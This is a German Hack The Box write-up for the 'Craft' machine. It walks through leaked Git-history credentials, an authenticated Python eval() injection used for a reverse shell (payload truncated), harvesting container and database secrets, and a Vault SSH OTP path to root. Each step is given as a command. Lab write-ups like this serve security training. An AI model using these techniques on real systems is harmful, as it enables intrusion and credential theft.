HTB · published
Craft
Hack The Box CPTS-Track Writeup für Craft: Vhost Enumeration, Gogs Git-History Leak, authentifizierte API eval-RCE, Container Secrets, Gogs Pivot, SSH als gilfoyle und Vault SSH OTP zu root.
Metadaten
- Name: Craft
- IP Address:
10.129.7.232 - Plattform: Linux
- Kategorie: Web / Source Code Review / API RCE / Docker / Vault
- Schwierigkeit: Medium
- Ziel(e): User, Root
- Kurzbeschreibung des Szenarios: Craft ist eine Linux-Machine mit Docker-basierten Webservices. Der Angriff führt über HTTPS-Vhosts, ein öffentliches Gogs-Repository, geleakte API-Credentials aus der Git-History, eine authentifizierte Python-
eval()-RCE, Datenbank-Credentials im Container, ein privates Infra-Repo und final Vault SSH OTP zu root.
Reconnaissance/ Enumeration
initscan:
nmap -p- --min-rate 5000 -Pn -oN scans/tcp_full.nmap 10.129.7.232
22/tcp open ssh
443/tcp open https
6022/tcp open x11
servicescan:
nmap -sC -sV -O -Pn -p22,443,6022 -oN scans/tcp_initial_svco.nmap 10.129.7.232
22/tcp OpenSSH 7.4p1 Debian
443/tcp nginx/1.15.8 HTTPS
6022/tcp Golang x/crypto/ssh server
TLS-Zertifikat und Weblinks führten zu mehreren Hostnames:
craft.htb
api.craft.htb
gogs.craft.htb
vault.craft.htb
https://api.craft.htb/api/ zeigte Swagger-Dokumentation. https://gogs.craft.htb/explore/repos veröffentlichte das Repository Craft/craft-api.
Exploitation (Foothold)
Das öffentliche Gogs-Repository wurde geklont:
GIT_SSL_NO_VERIFY=true git clone https://gogs.craft.htb/Craft/craft-api.git
In der Git-History lagen alte API-Test-Credentials:
git show 10e3ba4:tests/test.py
dinesh : 4aUh0A8PbVJxgd
Im aktuellen API-Code lag die eigentliche Schwachstelle:
if eval('%s > 1' % request.json['abv']):
Der Wert abv wurde authentifiziert, aber ungefiltert in eval() verarbeitet. Mit dinesh konnte ein API-Token angefordert und anschließend ein Reverse-Shell-Payload im Feld abv gesendet werden:
{
"brewer": "x",
"name": "x",
"style": "x",
"abv": "__import__(\"os\").system('python -c ...') or 0"
}
Das Ergebnis war eine Shell als root im API-Container:
uid=0(root)
hostname=5a3d243127f5
pwd=/opt/app
Container-root war aber noch nicht Host-root. Der nächste Schritt war Secrets-Enumeration.
Lateral Movement / User Escalation
Im Container lag die API-Konfiguration:
/opt/app/craft_api/settings.py
Relevante Werte:
CRAFT_API_SECRET=hz66OCkDtv8G6D
MySQL: craft / qLGockJ6G2J75O
Database host: db
Die Datenbank enthielt weitere Benutzer:
dinesh : 4aUh0A8PbVJxgd
ebachman : llJ77D8QFkLPQB
gilfoyle : ZEU3N8WNM2rh4T
Mit gilfoyle funktionierte der Login in Gogs. Dort war ein privates Repository sichtbar:
gilfoyle/craft-infra
Das Repo enthielt eine verschlüsselte SSH-Key-Datei:
.ssh/id_rsa
Die Passphrase war identisch mit Gilfoyles Passwort:
ssh-keygen -p -P 'ZEU3N8WNM2rh4T' -N '' -f loot/gilfoyle_id_rsa_nopass
ssh -i loot/gilfoyle_id_rsa_nopass gilfoyle@10.129.7.232
User Flag:
cat /home/gilfoyle/user.txt
5c75a[REDACTED-USER-FLAG]226f
Privilege Escalation (Root / Domain)
Das private Infra-Repository enthielt Vault-Konfiguration für SSH OTP:
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
Auf dem Host lag bei gilfoyle ein Vault-Token:
~/.vault-token
Mit VAULT_ADDR=https://vault.craft.htb:8200/ konnte ein root-OTP erzeugt werden:
export VAULT_ADDR=https://vault.craft.htb:8200/
export VAULT_TOKEN=$(cat ~/.vault-token)
vault write ssh/creds/root_otp ip=10.129.7.232
Vault gab ein One-Time-Password für SSH als root zurück. Per keyboard-interactive SSH wurde Root erreicht:
ssh root@10.129.7.232
uid=0(root) gid=0(root) groups=0(root)
Root Flag:
cat /root/root.txt
53d2c[REDACTED-ROOT-FLAG]8d47
Post-Exploitation
- User Flag:
5c75a[REDACTED-USER-FLAG]226f - Root Flag:
53d2c[REDACTED-ROOT-FLAG]8d47 - Wichtige Accounts:
dinesh,gilfoyle,craft - Wichtige Dateien:
tests/test.py,settings.py,gilfoyle_id_rsa,.vault-token,vault/secrets.sh - Wichtige Technik: Git-History Review, authentifizierte API-RCE, Container Secret Discovery, Vault SSH OTP
- Cleanup: Reverse Shell schließen, temporäre lokale Keys schützen/löschen und Vault-OTP-Lease nicht weiterverwenden.
Lessons Learned
- Git-History zählt: Alte Commits können produktive Credentials enthalten, auch wenn der aktuelle Tree sauber wirkt.
- API Auth schützt nicht vor RCE: Authentifizierte Endpunkte brauchen genauso sauberes Input-Handling.
eval()auf JSON-Feldern ist fatal. - Container-root ist nur ein Pivot: Die Host-Kompromittierung kam über Secrets und Gogs, nicht über einen Docker-Escape.
- Vault kann Root-Pfad sein: Ein gültiger User-Token mit Zugriff auf
ssh/creds/root_otpreicht für root-SSH.
Notizen
6022/tcpwar der Gogs-SSH-Service, nicht der normale Host-SSH.gilfoylewar der zentrale Pivot: Gogs-Login, privates Infra-Repo, SSH-Key und Vault-Zugriff.- Der intended Path ist schön “DevOps”: Source, Secrets, Container, Infra, Vault.